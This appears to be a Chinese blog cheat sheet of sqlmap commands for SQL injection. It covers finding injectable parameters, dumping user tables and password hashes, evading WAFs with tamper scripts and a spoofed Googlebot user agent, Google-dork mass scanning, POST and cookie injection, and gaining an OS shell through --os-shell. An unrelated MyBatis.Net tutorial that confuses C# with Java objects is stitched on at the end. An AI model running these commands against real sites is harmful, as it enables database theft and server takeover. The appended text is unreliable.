sqlmap学习笔记(一)

sqlmap 常用命令

1.sqlmap -u "www.xxx.com/news.asp?id=1"		//检查注入点
2.sqlmap -u "www.xxx.com/news.asp?id=1" --current-user	//获取当前用户名
3.sqlmap -u "www.xxx.com/news.asp?id=1" --current-db	//获取当前数据库名
4.sqlmap -u "www.xxx.com/news.asp?id=1" --dbs		//列数据库
5.sqlmap -u "www.xxx.com/news.asp?id=1" --privileges	//当前用户权限判断
6.sqlmap -u "www.xxx.com/news.asp?id=1" --users		//枚举用户
7.sqlmap -u "www.xxx.com/news.asp?id=1" --passwords		//枚举用户哈希
8.sqlmap -u "www.xxx.com/news.asp?id=1" --tables -D "admin"	//查admin库中的表名,得到user表
9.sqlmap -u "www.xxx.com/news.asp?id=1" --columns -T "user" -D "admin"	//查字段,得到id,username,password
10.sqlmap -u "www.xxx.com/news.asp?id=1" --dump -C "id,username,password" -T "user" -D "admin" -v 5	//拖库,或者使用--dump-all
11.--dbms "Mysql"		//指定数据库类型
12.--passwords -U root	//查指定列数据库用户root的密码
13.--level 5		//执行测试的等级,默认为1,2会进行cookie注入检测,3会进行useragent检测
14.--user-agent "Googlebot/2.1"
15.--tamper "space2morehash.py"
16.-v 0~6			//-v参数可查看payload,-v 3可显示注入的payload,4、5、6还可以显示HTTP请求,HTTP响应头和页面
17.--sql-shell		//提供交互式的sql查询界面
以上为常用sqlmap命令,其他的请查阅手册。

sqlmap 借助google批量扫注入点

1.sqlmap -g "site:target.com inurl:asp"	
2.如果要查询注入选y,跳过选n

注:大部分查询结果不存在注入

**sqlmap 利用tamper脚本编码绕过WAF

通过不同编码,绕过WAF
1.sqlmap -u "www.xxx.com/news.asp?id=1" --dbs --tamper "space2morehash.py"	//利用.py脚本改变编码,除了space2hash.py,还有base64encode.py、charencode.py等等,可查/usr/share/sqlmap/tamper
2.sqlmap.py --proxy http://127.0.0.1:8087 -u "www.xxx.com/news.asp?id=1" -v 3 –dbms “MySQL” --tamper "space2morehash.py" --referer "http://www.google.com" --user-agent "Googlebot/2.1"  //模拟google爬虫

sqlmap post注入

方法一:结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。
1.浏览器打开目标地址 http://www.testfire.net/bank/login.aspx
2.配置burp代理(127.0.0.1:8080)以拦截请求
3.点击login表单的submit按钮
4.这时候Burp会拦截到了我们的登录POST请求
5.把这个post请求复制为txt, 我这命名为test.txt 然后把它放至root目录下
6.运行sqlmap并使用如下命令:sqlmap -r /root/test.txt -p uid,这里参数 -r 是让sqlmap加载我们的post请求test.txt,而 -p 为指定注入用的参数。

方法二:指定参数post注入
1.sqlmap -u "http://www.test.net/test/login.aspx" --data "uid=Admin&passw=a&btnSubmit=Login"

sqlmap cookies注入

1.sqlmap -u "www.xxx.com/news.asp" --cookie "id=1" --current-db
2.sqlmap -u "www.xxx.com/news.asp" --cookie "id=1" --tables -D "admin"  

注:注入时有可能存在连接线程数限制,线程设置不要太大

sqlmap 执行shell命令

在数据库权限足够大的时候,可以使用cmd命令:
1.sqlmap -u "www.xxx.com/news.asp?id=1" --os-cmd=ipconfig	//执行ipconfig命令
2.选取该web的脚本种类,此时为asp,选1
3.指定网站的根目录路径,如:d:\www\

获得一个shell
1.sqlmap -u "www.xxx.com/news.asp?id=1" --os-shell
2.选取该web的脚本种类,此时为asp,选1
3.指定网站的根目录路径,如:d:\www\
4.此时可以执行命令,并会在d:\www\下生成两个临时文件(tmpbxbxz.php/tmpuoiuz.php)

sqlmap 伪静态注入

伪静态页面网址:www.xxx.com/index.php/Index/view/id/40.html 
1.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs	//在存在注入的地方加入*键
2.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --tables -D "admin"

sqlmap 延迟注入

某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
1.sqlmap -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5	//间隔5秒请求一次
2.--safe-url		//详细说明请查阅手册
3.--safe-freq		//详细说明请查阅手册

sqlmap 探测waf

sqlmap用来探测WAF类型
sqlmap -u “http://www.testfire.net/bank/login.aspx” --identify-waf
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MyBatis是一个开源的持久化框架,可以帮助我们将数据从数据库中读取出来,然后转换为Java对象,并将Java对象写入数据库中。 在C#中使用MyBatis,需要先安装MyBatis.Net库,然后在项目中引用该库。接着,我们需要创建一个配置文件,用于配置MyBatis的数据库连接信息、SQL语句等。在配置文件中,我们需要指定一个别名,用于在程序中引用这个配置文件。 接下来,我们需要创建一个映射文件,用于将数据库中的数据映射为Java对象。在映射文件中,我们需要定义一个 resultMap,用于定义Java对象与数据库表之间的关系。我们还需要定义一个 SQL 语句,用于从数据库中读取数据,并将其转换为Java对象。 在程序中,我们需要创建一个 SqlSession 对象,用于执行SQL语句。我们可以通过SqlSession对象调用selectOne、selectList、update、delete等方法,来执行SQL语句,并将结果转换为Java对象或者操作数据库。 下面是一个简单的示例,展示了如何在C#中使用MyBatis: 1. 安装MyBatis.Net库 在Visual Studio中,选择“工具”-“NuGet包管理器”-“程序包管理器控制台”,然后输入以下命令: ``` Install-Package MyBatisNet ``` 2. 创建配置文件 在项目中创建一个名为“SqlMapConfig.xml”的文件,用于配置数据库连接信息、SQL语句等。以下是一个示例配置文件: ``` xml <?xml version="1.0" encoding="utf-8" ?> <sqlMapConfig> <database> <provider name="SqlServer" connectionString="Data Source=localhost;Initial Catalog=mydatabase;User ID=myuser;Password=mypassword;" /> </database> <sqlMap> <map resource="MyMapper.xml"/> </sqlMap> </sqlMapConfig> ``` 其中,provider元素用于指定数据库类型和连接字符串,map元素用于指定映射文件路径。 3. 创建映射文件 在项目中创建一个名为“MyMapper.xml”的文件,用于将数据库中的数据映射为Java对象。以下是一个示例映射文件: ``` xml <?xml version="1.0" encoding="utf-8" ?> <sqlMap namespace="MyMapper"> <resultMap id="MyResultMap" class="MyClass"> <result property="id" column="id"/> <result property="name" column="name"/> </resultMap> <select id="selectById" resultMap="MyResultMap"> SELECT * FROM mytable WHERE id=#id# </select> </sqlMap> ``` 其中,resultMap元素用于定义Java对象与数据库表之间的关系,select元素用于定义SQL语句。 4. 在程序中使用MyBatis 在程序中,我们需要创建一个 SqlSession 对象,用于执行SQL语句。以下是一个示例代码: ``` csharp using IBatisNet.DataMapper; using IBatisNet.DataMapper.Configuration; using IBatisNet.DataMapper.Configuration.Files; // 创建配置文件 DomSqlMapBuilder builder = new DomSqlMapBuilder(); ISqlMapper sqlMapper = builder.Configure(@"SqlMapConfig.xml"); // 执行SQL语句 MyClass obj = sqlMapper.QueryForObject<MyClass>("MyMapper.selectById", new { id = 1 }); ``` 以上是一个简单的示例,展示了如何在C#中使用MyBatis。实际上,MyBatis还有很多其他的用法和功能,需要我们在实际开发中去探索和使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值